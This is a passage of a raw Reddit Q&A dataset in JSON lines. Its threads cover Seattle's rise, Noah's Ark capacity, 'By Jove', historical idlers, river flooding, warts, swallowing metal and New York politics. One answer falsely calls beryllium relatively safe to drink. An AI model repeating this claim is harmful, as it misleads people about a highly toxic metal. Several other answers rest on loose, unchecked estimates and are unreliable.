_URL_1_ Klondike Gold Rush  \n\n* _URL_3_ Northern Pacific Railroad and Seattle Development  \n\n* _URL_4_ Panic of 1893 and Its Aftermath  \n\n* _URL_0_ Klondike Gold Rush - Selling Seattle  \n\nThat last one is part of a book made available online by the National Park Service, Seattle Unit of the Klondike Gold Rush National Historical Park. The full ebook is online here:\n\n* _URL_2_  \n\nAnd as a regular book:\n\n* Mighetto, L.,  &  Montgomery, M. (2002). *Hard drive to the Klondike: Promoting Seattle during the gold rush.* Seattle, Wash: Northwest Interpretive Association in association with University of Washington Press.", "Just to add to u/ScallopOolong's great answer, my area is  West Coast maritime labor history, so I'm a little more focused on why the Port of Seattle became dominant over the Port of Tacoma, but I think it's worth adding the role geographic location of the two ports played in Seattle's dominance. \n\nPrior to the second World War, far more domestic trade was coming through the ports, largely because the infrastructure in terms of highways and freeways as we know today wasn\u2019t built yet. Seattle, being the first of the two ports that you reach coming from the Pacific, had a distinct advantage in securing trade because it simply was faster and easier to get to.  \n\nTo compete, Tacoma had to compensate, and we see this reflected in far more conservative labor climate than in Seattle. Being located as the second port in the sound, the Tacoma longshore union tended to be less radical, and occasionally capitalized on labor unrest in Seattle to bring more business to the port. The Seattle longshoremen were part of the International Longshore and Warehouse Union (ILWU), which broke from the more conservative International Longshore Association (ILA) in the 1930s to join the more radical CIO. Tacoma, on the other hand, was the only (to my knowledge) west coast port to remain in the ILA. In 1948, there was a major strike of the ILWU and other west coast maritime unions, and workers in the ILA-affiliated Tacoma port were accused of crossing the picket lines and working cargo that was diverted from the striking ILWU ports. It wasn\u2019t until 1958 that Tacoma eventually joined the ILWU.\n\nI don\u2019t have the book handy, but you\u2019re interested in reading more about how Tacoma\u2019s waterfront differed from Seattle, I think \u201cThe Working Waterfront\u201d by Ronald Magden is a good starting point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nps.gov/klse/learn/education/hrs2b.htm", "https://www.historylink.org/File/687", "https://www.nps.gov/parkhistory/online_books/klse/hrs/hrstoc.htm", "https://historylink.org/File/1734", "https://www.historylink.org/File/20874"], []]}
{"q_id": "lhhex", "title": "How big would Noah's Ark had to have been to actually fit two of every land-dependent animal?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lhhex/how_big_would_noahs_ark_had_to_have_been_to/", "answers": {"a_id": ["c2spz7j", "c2sq09p", "c2sq106", "c2sq1ea", "c2sq2ie", "c2sq4av", "c2sq50s", "c2sq9kp", "c2sqa64", "c2sqbet", "c2sqcfr", "c2sqjme", "c2sqm1v", "c2squud", "c2sqzx0", "c2spz7j", "c2sq09p", "c2sq106", "c2sq1ea", "c2sq2ie", "c2sq4av", "c2sq50s", "c2sq9kp", "c2sqa64", "c2sqbet", "c2sqcfr", "c2sqjme", "c2sqm1v", "c2squud", "c2sqzx0"], "score": [18, 30, 90, 9, 153, 9, 8, 66, 2, 2, 2, 2, 32, 2, 2, 18, 30, 90, 9, 153, 9, 8, 66, 2, 2, 2, 2, 32, 2, 2], "text": ["Not just land animals.  He would also have to bring the salt-water animals.  That much rain would seriously dilute the salinity of their environment.", "There are estimated to be [8.7 million terrestrial/land animal species](_URL_0_), I think Noahs Arc would have needed to be pretty big.", "Just to clear up some confusion.   \n \nAccording to the bible literally (for what its worth):   \n1. 2 of each non kosher animal.  \n2. 7 of each kosher animal.  \n3. Sea creatures had their own \"haven\".", "There was a recent Skeptoid [podcast](_URL_0_) that dealt with this question.... specifically \"would it be possible to build such a massive wooden ship\".", "Please keep this discussion **on topic**. Keep the religion comments out. This thread is about solving a problem, **not for religious debate**.", "a major problem is you cannot only have one male and one female of each species, you need dozens, if not hundreds of members to keep a sustainable gene pool after the flood.  allupthere is right, you would need a small state or nature preserve.  Take deer, there are at least 8 members in the deer family (including moose btw) here in North America, just to house a sustainable population of ONE species of deer, not even the largest species, would be an undertaking.  If you kept the deer in a cage approx its own size, a white tailed deer would be in a cage that is about 2X2X1 meters, taking 4 cubic meters X 100 deer (a low estimate for genetic sustainability but, probably doable) You end up with just under half of a 747 passenger space (870 cubic meters)  so.....you would need a 747 literally completely full wall to wall floor to ceiling, for just the red deer and white tailed deer.  You would end up needing another 747 for moose alone.", "Talkorigins has for a number of years had a [great reference page](_URL_1_) attempting to answer questions about the flood.  [Here is the section devoted to attempting to calculate whether the ark as described in Genesis could fit all of those animals].(_URL_0_)", "Warning: I'm having to make a few assumptions here.\n\nIf [these](_URL_0_)  numbers are correct, there are a 933,253 animals that would have had to go on the ark. That's after you subtract the fish, mollusks, crustaceans, and corals. I also subtracted out all of the \"others\" category and dropped \"insects\" to 800,000. Presumably some of the \"others\" can live in water. The rest of that category plus those subtracted from the insects hopefully compensates for all of the insects and other animals that could live in water.\n\nThere are quite a few estimates re: the size of the average animal. Most estimates say the average sized animal on the ark was the size of a sheep, and that the median size was that of a rat or mouse. However, these estimates don't include insects which, while small, add up to a lot when you're talking about nearly a million of them. I'll make another wild assumption here that insects and arachnids will take up half of the space on the ark.\n\nWe'll assume that the invertebrate animals average about the size of a sheep. I've personally never measured a sheep, and there are so many types of sheep out there that it's hard for my Google-fu to locate an average size. We'll assume that your average sheep is around 2.5 feet tall, 3 feet long, and 1.5 feet wide. That seems about right, but feel free to plug in your own numbers if you think I'm wrong.\n\nWe can't just cram all of our 61,410 sheep into a giant sheep cube. They'll have to at least have space to stand next to one another, and this is assuming that they don't have to move at all. Going with that assumption, you can assume that each sheep takes up (3 * 1.5 = ) 4.5 square feet of floor space. Height doesn't really matter, because you can't stack sheep and presumably the ceilings are at least high enough for Noah and his family to walk under them.\n\nThat means that the vertebrate animals on the ark would take up (4.5 * 61,410 = ) 276,345 square feet of floor space. Double this due to my assumption that the insects will take up an equal amount of space. That means that the ark needs to have 552,690 square feet of floor space.\n\nNoah's ark was 300 cubits long, 50 cubits wide, and 30 cubits tall. It had three decks. This means that it had (300l * 50w * 3 decks = ) 45000 square cubits of floor space. A cubit is around 18 inches, or 1.5 feet. That means that the ark had (450 * 75 * 3 = ) 101,250 square feet of floor space.\n\nIn order to get the ark up to 552,690 square feet of floor space, you would need to increase its width and length by a little more than 125%. This means that it would need to be slightly more than 1050 feet long and 175 feet wide.\n\nNote that I'm also leaving out the need for food, water, and other supplies, and any space for the animals to move around. In reality, it would need to be *a lot* bigger than this.\n\n**Edit:** As usual, I did the hard work and screwed up the subtraction. Changed 31,005 to 30,705 and adjusted the other numbers accordingly.\n\n**Edit 2:** Didn't double the number of animals. Adjusted numbers accordingly.", "Would we want to include all varieties of species like dogs and cattle? Because excluding subspecies or species still able to breed with fertile offspring might help reduce the number significantly. I am also not sure that the story calls for all insect/other \"bug\" species to be aboard (lacking some of the distinctions we now make--also why fungi aren't mentioned in the creation account) but it would be interesting to try to find the minimal volume required to house them all!", "Do not forget to feed them for a year.", "If the animals were note permitted to miraculously survive, why were the plants? The good book says nothing of the non-animal life that would have drowned. And just think how long it would take for the animals to get there -- those kangaroos are going to have a very long swim / hop, and those Chilean garden snails... \n\nOn the other hand, you could bring juvenile animals, eggs, pregnant females, etc to reduce the space. There are about 30,000 known species of non-aquatic vertebrates. If you assume that, on average, they are about the size of a guinea pig (1kg, 2L), and that you need 2 of each, that's about 30 metric tons, and 60 cubic meters. Noah's ark had a volume of around 40,000 cubic meters (per the story). There's also about 1,000,000 species of insects -- say with an average mass of 2g -- that's another 2 tons and probably 4 cubic meters (packed tight). Figure that, on average these things eat 6% of their body mass per day, and drink about 2x that, for a 40 day voyage you'd need about 72 tons of food and 144 tons of fresh water (that you can assume was avail in abundance). The menagerie would generate about 2 tons of poo and 2 cubic meters of piss per day.\n\nThat's a lot of assumptions. Scale to suit.", "According to the Bible, Noah was told to build the Ark to \"the length of the ark 300 cubits, its breadth 50 cubits, and its height 30 cubits\".\nThis being said, this is the size it would of had to be.\nIt should be noted that a Cubit is the length of the one's elbow to the tip of their finger(If I remember this right), so it is impossible to tell the modern day size of the ark.", "Well, one side has to make a concession before we begin calculating this. From an evolution perspective, it's feasible (though unlikely, as the rate of evolution would have had to speed up dramatically since the flood in order to see the variety that we do today) that the number of animals that would be required on the Ark would have been dramatically lower than the number of species that we see today. For example, the Watchtower Bible and Tract society teaches that there were only 43 mammals on the Ark, a far cry from the 4000+ that we see today. 43 species on a boat is certainly feasible, but not without the notion that the remaining thousands of species have evolved since the flood. However because the common consensus among creationists is that evolution does not exist, and thus every species alive today must have disembarked from Noah's Ark after the flood had receded, we may as well play by their rules and account for every species of land animal alive today.\n\n\nNow, we can easily come to two different answers. One by the weight the Ark must carry, and one by the amount of volume the creatures would take up. Because volume is more subjective than weight, I will assume that the animals were able to be crammed in to whatever volume is determined necessary for the Ark to remain buoyant under their weight.\n\nAccording to _URL_3_ we must account for the weight of 6000 reptiles and 15000 mammals. Insects, birds and amphibians could conceivably live upon floating debris so we need not include them.\n\nIn absence of the data being readily available I calculated the average weight of the animal^[1](_URL_2_)[2](_URL_0_)[3](_URL_1_) to be placed on the Ark as approximately 91Kg, though I will be the first to admit this value is flawed for the following reasons:\n\n* The sample data is very small\n\n* The sample data is further restricted to North American animals\n\n* I calculated it extremely quickly and probably misread something\n\n\nSo in order for the Ark to remain buoyant it must displace 1911 meters^3 of water.\n\nGiven the the original Ark dimension ratios of approximately 172 : 23.8 : 13.7 meters ....... The animals could have handily fit inside the ark?\n\nSomeone correct me please.\n\ntl;dr I tried.", "Was it ever mentioned what area Noah was in. Maybe we could narrow it down to a single continent or smaller geographic area for simplicity.", "So, what if Noah didn't take two physical specimens at all, perhaps he was a geneticist and all he stored was genetic samples from each animal. He took samplings from two of each animal so that when they were recreated after the flood, they would not be exact copies of each other, this would cut down on mutations during the future matings from the two recreated samples. Now, how large would his ship need to be.\n", "Not just land animals.  He would also have to bring the salt-water animals.  That much rain would seriously dilute the salinity of their environment.", "There are estimated to be [8.7 million terrestrial/land animal species](_URL_0_), I think Noahs Arc would have needed to be pretty big.", "Just to clear up some confusion.   \n \nAccording to the bible literally (for what its worth):   \n1. 2 of each non kosher animal.  \n2. 7 of each kosher animal.  \n3. Sea creatures had their own \"haven\".", "There was a recent Skeptoid [podcast](_URL_0_) that dealt with this question.... specifically \"would it be possible to build such a massive wooden ship\".", "Please keep this discussion **on topic**. Keep the religion comments out. This thread is about solving a problem, **not for religious debate**.", "a major problem is you cannot only have one male and one female of each species, you need dozens, if not hundreds of members to keep a sustainable gene pool after the flood.  allupthere is right, you would need a small state or nature preserve.  Take deer, there are at least 8 members in the deer family (including moose btw) here in North America, just to house a sustainable population of ONE species of deer, not even the largest species, would be an undertaking.  If you kept the deer in a cage approx its own size, a white tailed deer would be in a cage that is about 2X2X1 meters, taking 4 cubic meters X 100 deer (a low estimate for genetic sustainability but, probably doable) You end up with just under half of a 747 passenger space (870 cubic meters)  so.....you would need a 747 literally completely full wall to wall floor to ceiling, for just the red deer and white tailed deer.  You would end up needing another 747 for moose alone.", "Talkorigins has for a number of years had a [great reference page](_URL_1_) attempting to answer questions about the flood.  [Here is the section devoted to attempting to calculate whether the ark as described in Genesis could fit all of those animals].(_URL_0_)", "Warning: I'm having to make a few assumptions here.\n\nIf [these](_URL_0_)  numbers are correct, there are a 933,253 animals that would have had to go on the ark. That's after you subtract the fish, mollusks, crustaceans, and corals. I also subtracted out all of the \"others\" category and dropped \"insects\" to 800,000. Presumably some of the \"others\" can live in water. The rest of that category plus those subtracted from the insects hopefully compensates for all of the insects and other animals that could live in water.\n\nThere are quite a few estimates re: the size of the average animal. Most estimates say the average sized animal on the ark was the size of a sheep, and that the median size was that of a rat or mouse. However, these estimates don't include insects which, while small, add up to a lot when you're talking about nearly a million of them. I'll make another wild assumption here that insects and arachnids will take up half of the space on the ark.\n\nWe'll assume that the invertebrate animals average about the size of a sheep. I've personally never measured a sheep, and there are so many types of sheep out there that it's hard for my Google-fu to locate an average size. We'll assume that your average sheep is around 2.5 feet tall, 3 feet long, and 1.5 feet wide. That seems about right, but feel free to plug in your own numbers if you think I'm wrong.\n\nWe can't just cram all of our 61,410 sheep into a giant sheep cube. They'll have to at least have space to stand next to one another, and this is assuming that they don't have to move at all. Going with that assumption, you can assume that each sheep takes up (3 * 1.5 = ) 4.5 square feet of floor space. Height doesn't really matter, because you can't stack sheep and presumably the ceilings are at least high enough for Noah and his family to walk under them.\n\nThat means that the vertebrate animals on the ark would take up (4.5 * 61,410 = ) 276,345 square feet of floor space. Double this due to my assumption that the insects will take up an equal amount of space. That means that the ark needs to have 552,690 square feet of floor space.\n\nNoah's ark was 300 cubits long, 50 cubits wide, and 30 cubits tall. It had three decks. This means that it had (300l * 50w * 3 decks = ) 45000 square cubits of floor space. A cubit is around 18 inches, or 1.5 feet. That means that the ark had (450 * 75 * 3 = ) 101,250 square feet of floor space.\n\nIn order to get the ark up to 552,690 square feet of floor space, you would need to increase its width and length by a little more than 125%. This means that it would need to be slightly more than 1050 feet long and 175 feet wide.\n\nNote that I'm also leaving out the need for food, water, and other supplies, and any space for the animals to move around. In reality, it would need to be *a lot* bigger than this.\n\n**Edit:** As usual, I did the hard work and screwed up the subtraction. Changed 31,005 to 30,705 and adjusted the other numbers accordingly.\n\n**Edit 2:** Didn't double the number of animals. Adjusted numbers accordingly.", "Would we want to include all varieties of species like dogs and cattle? Because excluding subspecies or species still able to breed with fertile offspring might help reduce the number significantly. I am also not sure that the story calls for all insect/other \"bug\" species to be aboard (lacking some of the distinctions we now make--also why fungi aren't mentioned in the creation account) but it would be interesting to try to find the minimal volume required to house them all!", "Do not forget to feed them for a year.", "If the animals were note permitted to miraculously survive, why were the plants? The good book says nothing of the non-animal life that would have drowned. And just think how long it would take for the animals to get there -- those kangaroos are going to have a very long swim / hop, and those Chilean garden snails... \n\nOn the other hand, you could bring juvenile animals, eggs, pregnant females, etc to reduce the space. There are about 30,000 known species of non-aquatic vertebrates. If you assume that, on average, they are about the size of a guinea pig (1kg, 2L), and that you need 2 of each, that's about 30 metric tons, and 60 cubic meters. Noah's ark had a volume of around 40,000 cubic meters (per the story). There's also about 1,000,000 species of insects -- say with an average mass of 2g -- that's another 2 tons and probably 4 cubic meters (packed tight). Figure that, on average these things eat 6% of their body mass per day, and drink about 2x that, for a 40 day voyage you'd need about 72 tons of food and 144 tons of fresh water (that you can assume was avail in abundance). The menagerie would generate about 2 tons of poo and 2 cubic meters of piss per day.\n\nThat's a lot of assumptions. Scale to suit.", "According to the Bible, Noah was told to build the Ark to \"the length of the ark 300 cubits, its breadth 50 cubits, and its height 30 cubits\".\nThis being said, this is the size it would of had to be.\nIt should be noted that a Cubit is the length of the one's elbow to the tip of their finger(If I remember this right), so it is impossible to tell the modern day size of the ark.", "Well, one side has to make a concession before we begin calculating this. From an evolution perspective, it's feasible (though unlikely, as the rate of evolution would have had to speed up dramatically since the flood in order to see the variety that we do today) that the number of animals that would be required on the Ark would have been dramatically lower than the number of species that we see today. For example, the Watchtower Bible and Tract society teaches that there were only 43 mammals on the Ark, a far cry from the 4000+ that we see today. 43 species on a boat is certainly feasible, but not without the notion that the remaining thousands of species have evolved since the flood. However because the common consensus among creationists is that evolution does not exist, and thus every species alive today must have disembarked from Noah's Ark after the flood had receded, we may as well play by their rules and account for every species of land animal alive today.\n\n\nNow, we can easily come to two different answers. One by the weight the Ark must carry, and one by the amount of volume the creatures would take up. Because volume is more subjective than weight, I will assume that the animals were able to be crammed in to whatever volume is determined necessary for the Ark to remain buoyant under their weight.\n\nAccording to _URL_3_ we must account for the weight of 6000 reptiles and 15000 mammals. Insects, birds and amphibians could conceivably live upon floating debris so we need not include them.\n\nIn absence of the data being readily available I calculated the average weight of the animal^[1](_URL_2_)[2](_URL_0_)[3](_URL_1_) to be placed on the Ark as approximately 91Kg, though I will be the first to admit this value is flawed for the following reasons:\n\n* The sample data is very small\n\n* The sample data is further restricted to North American animals\n\n* I calculated it extremely quickly and probably misread something\n\n\nSo in order for the Ark to remain buoyant it must displace 1911 meters^3 of water.\n\nGiven the the original Ark dimension ratios of approximately 172 : 23.8 : 13.7 meters ....... The animals could have handily fit inside the ark?\n\nSomeone correct me please.\n\ntl;dr I tried.", "Was it ever mentioned what area Noah was in. Maybe we could narrow it down to a single continent or smaller geographic area for simplicity.", "So, what if Noah didn't take two physical specimens at all, perhaps he was a geneticist and all he stored was genetic samples from each animal. He took samplings from two of each animal so that when they were recreated after the flood, they would not be exact copies of each other, this would cut down on mutations during the future matings from the two recreated samples. Now, how large would his ship need to be.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nytimes.com/2011/08/30/science/30species.html"], [], ["http://skeptoid.com/episodes/4279"], [], [], ["http://www.talkorigins.org/faqs/faq-noahs-ark.html#fitting", "http://www.talkorigins.org/faqs/faq-noahs-ark.html"], ["http://www.currentresults.com/Environment-Facts/Plants-Animals/number-species.php"], [], [], [], [], ["http://www.env.gov.bc.ca/wat/wq/reference/foodandwater.html#table4", "http://www.env.gov.bc.ca/wat/wq/reference/foodandwater.html#table2", "http://www.env.gov.bc.ca/wat/wq/reference/foodandwater.html#table1", "http://www.worldstory.net/en/species.html"], [], [], [], ["http://www.nytimes.com/2011/08/30/science/30species.html"], [], ["http://skeptoid.com/episodes/4279"], [], [], ["http://www.talkorigins.org/faqs/faq-noahs-ark.html#fitting", "http://www.talkorigins.org/faqs/faq-noahs-ark.html"], ["http://www.currentresults.com/Environment-Facts/Plants-Animals/number-species.php"], [], [], [], [], ["http://www.env.gov.bc.ca/wat/wq/reference/foodandwater.html#table4", "http://www.env.gov.bc.ca/wat/wq/reference/foodandwater.html#table2", "http://www.env.gov.bc.ca/wat/wq/reference/foodandwater.html#table1", "http://www.worldstory.net/en/species.html"], [], []]}
{"q_id": "8jyf4f", "title": "Why does \"By Jove!\" appear in Early Modern English literature? Wouldn't it have been seen as blasphemy to invoke a pagan god? Or was Jove at that point seen as a contraction of Jehovah, with its pagan origins forgotten?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8jyf4f/why_does_by_jove_appear_in_early_modern_english/", "answers": {"a_id": ["dz3u3sl"], "score": [6], "text": ["I have [an earlier answer](_URL_0_) on the topic, if you're interested. :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6e43c8/by_jove_how_did_englishspeaking_christians_come/"]]}
{"q_id": "1vy2yy", "title": "Was there an equivalent of a \"couch potato\" before the invention of TV/radio?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vy2yy/was_there_an_equivalent_of_a_couch_potato_before/", "answers": {"a_id": ["cewy2im", "cewz997", "cex0ah5", "cex18b1", "cex2kq6", "cex2p7c", "cex98s8", "cexb4hc"], "score": [189, 701, 33, 22, 12, 25, 3, 13], "text": ["In The Red and The Black (1830) fictional character Jean Sorrel was depicted shirking work to read novels. I can't think of specifics this minute, but I'm pretty sure a lot of female characters at that time were depicted as not wanting to do anything but sit around and read and that it was thought to be impacting their health and morals. Is that close enough?\n\nI'd also be very interested if anyone has examples of a radio couch potato.", "Not necessarily \"Couch Potato\", but I have a particular fondness for old writings on \"idlers\".  For example, Robert Louis Stevenson wrote an essay, \"An Apology for Idlers\", in 1876.  But my personal favorite is \"The Idle Thoughts of an Idle Fellow\" by Jerome K. Jerome (terrific name).  According to the preface, most of the essays in the book were originally letters to friends, which Jerome published at their insistence and his need for money to, well, fuel his idling.  The book is full of meandering essays on the joys of smoking, sitting around the flat all day, and how best to waste ones time.  His thoughts were that in order to properly idle, one must be actively ignoring other matters.  In his words, \"Idleness, like kisses, to be sweet must be stolen\".  Jerome eventually became an editor for a monthly magazine called \"The Idler\", but I've never personally read any of it.", "Nescio (\"I don't know\" in Latin), wrote one of the greatest stories in the Dutch language about an idealist whose explicit purpose in life was to do nothing but stare at the sea. This is circa 1911 though. A great read and a personal recommendation. \n\n_URL_1_\n_URL_0_", "You are basically talking about the concept of conspicuous consumption and conspicuous leisure, which are terms Thorstein Veblen coined in 1899 to describe the growing class of people who don't perform labor or act on the basis of economic utility. The book is available on Amazon and fairly accessible by today's standards. Traditionally something like not doing work, eating crap, and sitting around were status symbols because everyone else had to work. Veblen's theory is that people pursue social status over money or economic utility.\n\nIn terms of a couch potato, prior to the 1950s there aren't going to be a lot of people who can afford to sit around doing nothing all day. Once the ability to do this became widespread, the social status perks would also be removed. Wiki tells me couch potato was coined in the 1970s but existed beforehand, but I doubt the concept goes very far back because there aren't enough people who don't have to work for it to be an insult.", "There have been many comments dealing with examples of idlers in the last couple of centuries, but from my experience in medieval literature, the idea of *acedia* / [sloth](_URL_0_ as a deadly sin was prevalent in didactic literature. I don't have an example of those religious works with me, but the Spanish (Castilian) [Libro de Buen Amor](_URL_1_) from the 14th c. parodies those didactic works which warned against the sins of physical and spiritual laziness. I'm not sure if that's quite what you're getting at with \"couch potato,\" but if it's the idea of pure laziness, I suppose that's been a vice for a very long time.", "19th century Russian literature had a number of characters who fit the idea of the *lizhni chelovek*, the \"superfluous man\". Usually wealthy, with no purpose or fulfilling work, they would amuse themselves with gambling, dueling, and generally being idle jerks. You can find examples in Pushkin, Lermontov, Turgenev, to name just a few. \n\nIvan Goncharov's novel *Oblomov* has probably the most extreme example. The title character spends the first half of the book barely getting out of bed, occasionally calling for his manservant only to forget why he called for him in the first place. ", "In late 19th-century Symbolist and Decadent literature, the flaneur definitely represents the retreat to an inner world. Consider Des Esseintes in J.K. Huysmans' masterpiece [\"Against the Grain\":](_URL_0_)\n\n\"Jean des Esseintes is the last member of a powerful and once proud noble family. He has lived an extremely decadent life in Paris, which has left him disgusted with human society. Without telling anyone, he retreats to a house in the countryside.\n\nHe fills the house with his eclectic art collection (which notably consists of reprints of paintings of Gustave Moreau). Drawing from the theme of Gustave Flaubert's Bouvard et P\u00e9cuchet, Des Esseintes decides to spend the rest of his life in intellectual and aesthetic contemplation. Throughout his intellectual experiments, he recalls various debauched events and love affairs of his past in Paris.\n\nHe conducts a survey of French and Latin literature, rejecting the works approved by the mainstream critics of his day. Amongst French authors, he shows nothing but contempt for the Romantics but adores the poetry of Baudelaire and that of the nascent Symbolist movement of Paul Verlaine, Tristan Corbi\u00e8re and St\u00e9phane Mallarm\u00e9, as well as the decadent fiction of the unorthodox Catholic writers Auguste Villiers de l'Isle-Adam and Barbey d'Aurevilly. He rejects the academically respectable Latin authors of the \"Golden Age\" such as Virgil and Cicero, preferring later \"Silver Age\" writers such as Petronius and Apuleius as well as works of early Christian literature, whose style was usually dismissed as the \"barbarous\" product of the Dark Ages. Schopenhauer, he exclaims, has seen the truth, and he clearly expressed it in his philosophy. He studies Moreau's paintings, he tries his hand at inventing perfumes, and he creates a garden of poisonous flowers. In one of the book's most surrealistic episodes, he has gemstones set in the shell of a tortoise. The extra weight on the creature's back causes its death. In another episode, he decides to visit London after reading the novels of Dickens. He dines at an English restaurant in Paris while waiting for his train and is delighted by the resemblance of the people to his notions derived from literature. He then cancels his trip and returns home, convinced that only disillusion would await him if he were to follow through with his plans.\n\nEventually, his late nights and idiosyncratic diet take their toll on his health, requiring him to return to Paris or to forfeit his life. In the last lines of the book, he compares his return to human society to that of a non-believer trying to embrace religion.\"\n\nDefinitely worth reading!", "Side note on \"Idlers\". It comes from a Naval term (Of course) meaning; \n\nIdlers: men who did not stand watches, and, except in an emergency or in action, worked by day and slept by night. \n\nIn the C18th the word 'idler' did not carry derogatory connotations. \n\nWarrant officers who were 'idlers' included: the surgeon, purser, chaplain, carpenter, sailmaker, armourer, master-at-arms, ropemaker, caulker and cook. \n\nJunior petty officers who were 'idlers' included: the carpenter's mate, gunner's mate, yeoman of the powder room, armourer's mate, ship's corporal, caulker's mate, trumpeter, carpenter's crew, gunsmith, clerk, and steward.\n\n_URL_0_\nAlso referenced in _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.nybooks.com/books/imprints/classics/amsterdam-stories/", "http://en.wikipedia.org/wiki/Nescio#De_uitvreter"], [], ["https://en.wikipedia.org/wiki/Sloth_(deadly_sin)", "https://en.wikipedia.org/wiki/The_Book_of_Good_Love"], [], ["http://www.huysmans.org/against/agnotice.htm"], ["http://www.lib.mq.edu.au/digital/lema/maritime/officers-and-crew.html#f", "http://www.amazon.com/The-Trafalgar-Companion-Complete-Historys/dp/1845130189"]]}
{"q_id": "cciws7", "title": "Can you increase the volumetric flow rate of a river?", "selftext": "With the Barry over NO right now, and the concern of flooding, would it be possible or even reasonable to construct a way to increase the volumetric flow rate at the mouth of the river (or any) with large pumps/ducts/leveys?\nIf you could, would you be able to increase flow rate ahead of a storm like this to mitigate any additional rainfall?\nWhat technical/ecological changes would there be do something like this?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cciws7/can_you_increase_the_volumetric_flow_rate_of_a/", "answers": {"a_id": ["eto91vg", "etoh45a"], "score": [5, 2], "text": ["Make its bed wider and dams higher (if applicable). Sure, you could add pumps, but a wider bed and a larger maximum height before bad things happen is the easiest approach. Unfortunately that's the opposite of what we have done to many rivers in the past, at least in Europe.", "All that rain has to go somewhere and there is only so much height gradient. Any engineering programs to try to use pumps to accelerate the flow will be unable to materially change anything.\n\nIf you get 24 inches of rain in a day, there will be flooding. That's why rivers that routinely flood are surrounded by big flat flood plains -- the extent of the flood plain is how far the river has eroded in flood state.\n\nThe question is whether you can engineer somewhere to flood rather than people's houses. And fundamentally the answer to that is to provide either dams or levees to provide a reservoir for the massive pulse of water to fill instead of the nearby city. But you have to be careful because hemming a river in with levees reduces the size of that natural reservoir -- so while the natural riverbank might be 2 feet high, you might need 20 foot or higher levees to protect yourself under flood conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c1h80h", "title": "why can't you take medication to get rid of plantar warts like any other virus?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c1h80h/eli5_why_cant_you_take_medication_to_get_rid_of/", "answers": {"a_id": ["erd7y9v", "erd7yt3", "erd80m2", "erehhxh"], "score": [11, 6, 5, 2], "text": ["Because most viruses aren't curable with medication. They can treat symptoms, but not cure.", "You typically don't take medication to kill viruses unless that virus is going to kill you.\n\nViruses are not exactly living. They hide in your own cells and make more of themselves.\n\nDrugs that kill viruses, typically kill your cells too.\n\nThis is why when you get a cold or a flu, the only medication doctors *should* give you are ones that make your symptoms go down.", "Most viruses cannot be gotten rid of through medication.  There are few effective anti-virals (as opposed to antibiotics that target bacteria).  Colds are viruses, and meds will alleviate symptoms while the body fights the viral infection, but the meds don't help get rid of the virus.  Tamiflu is an antiviral, and there are some HIV antivirals, and some others as well.  But for the most part, only the immune system can rid the body of a virus.", "It will be possible when we find a broad-spectrum antiviral. This drug is a pipe dream of pharmacists worldwide. Current antivirals are specialized against particular viruses, and it is hard to design an antiviral, so they are only created against particularly nasty viruses such as HIV or Hepatitis. Warts are not dangerous enough to waste precious lab time designing an antiviral against them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "57e2v4", "title": "will a human body be able to digest a large quantity of metal? ex. a metallic spoon? if not, why not? eli5 please :)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/57e2v4/eli5_will_a_human_body_be_able_to_digest_a_large/", "answers": {"a_id": ["d8r6qa2"], "score": [13], "text": ["Okay...  I'm going to assume for the moment this is a real question.\n\n\nIf the spoon is stainless steel, it won't be absorbed by the body... unless you make it into a powder.  In which case, you will absolutely die from this.\n\n\nYou'll get Iron poisoning and probably Chromium poisoning.  Neither of which is good for anyone, ever.\n\n\nEating a spoon whole will cause problems.  Your friend is very likely to spend ten times the prize to pay for the cost of removing it from his body, assuming it gets through his mouth.\n\n\nDon't eat spoons.\n\n\nCan't believe I had to say that.  Fuck this planet so hard.\n\n\n[Edit] - I felt it was necessary to add that most metals will cause some form of toxicity in sufficient dosages.  I say most because some are just so rare we don't really know what they would do and it all really depends on the dosages.  A spoon worth of most metals will cause toxic reactions.  There are a few, like Beryllium, that you can go ahead and chug relatively safely (doctors should be there to save you if you almost die) and Gold which are mostly just going to pass through you without causing any real issues.  Still, don't eat a spoon. \n\n\nSource: I've swallowed the bead on a few tongue rings (stainless steel) without issue (they come out *clink*), I've taken a number of chemistry/biology/physiology classes and I've made it to adulthood without eating a spoon.\n\n[Edit] - I feel like I should add that there are many other metals that might be in the spoon that could also cause poisoning, I only used stainless steel as an example."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p77pn", "title": "how do new york city and state, for example, routinely elect republican mayors and governors, despite always voting overwhelmingly democratic in presidential elections?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p77pn/eli5_how_do_new_york_city_and_state_for_example/", "answers": {"a_id": ["cczfhk2", "cczfjfm", "cczfka7", "cczfwe8", "cczg868", "cczgcx1", "cczism3", "cczjdnk", "cczk1ed", "cczmtgu", "cczrwrn", "cczsb6m", "cczsguh"], "score": [35, 158, 2, 6, 5, 15, 2, 2, 9, 2, 2, 2, 2], "text": ["We have to realize that a Republican Governor of California or New York is not the same as the Republican Governor of Georgia or Alabama. Part of it is tailoring the message. A Republican Governor of Massachusetts, for example, may introduce a health care bill to help make sure everyone in that state has coverage, but that's not something that would pass in the national Republican platform. They tailor their message to appeal to a more liberal audience and seem more reasonable, where the national Republicans seem radical and dangerous by contrast. \n", "I'm not sure I would say they \"routinely\" elect Republicans, but to answer why overwhelmingly Democratic states/cities sometimes elect Republicans, it's because state Republican politicians in blue states like NY tend to be much more moderate than national Republican politicians.\n\nA good example would be Mitt Romney, who won election in deep blue Massachusetts. Yes, he ran 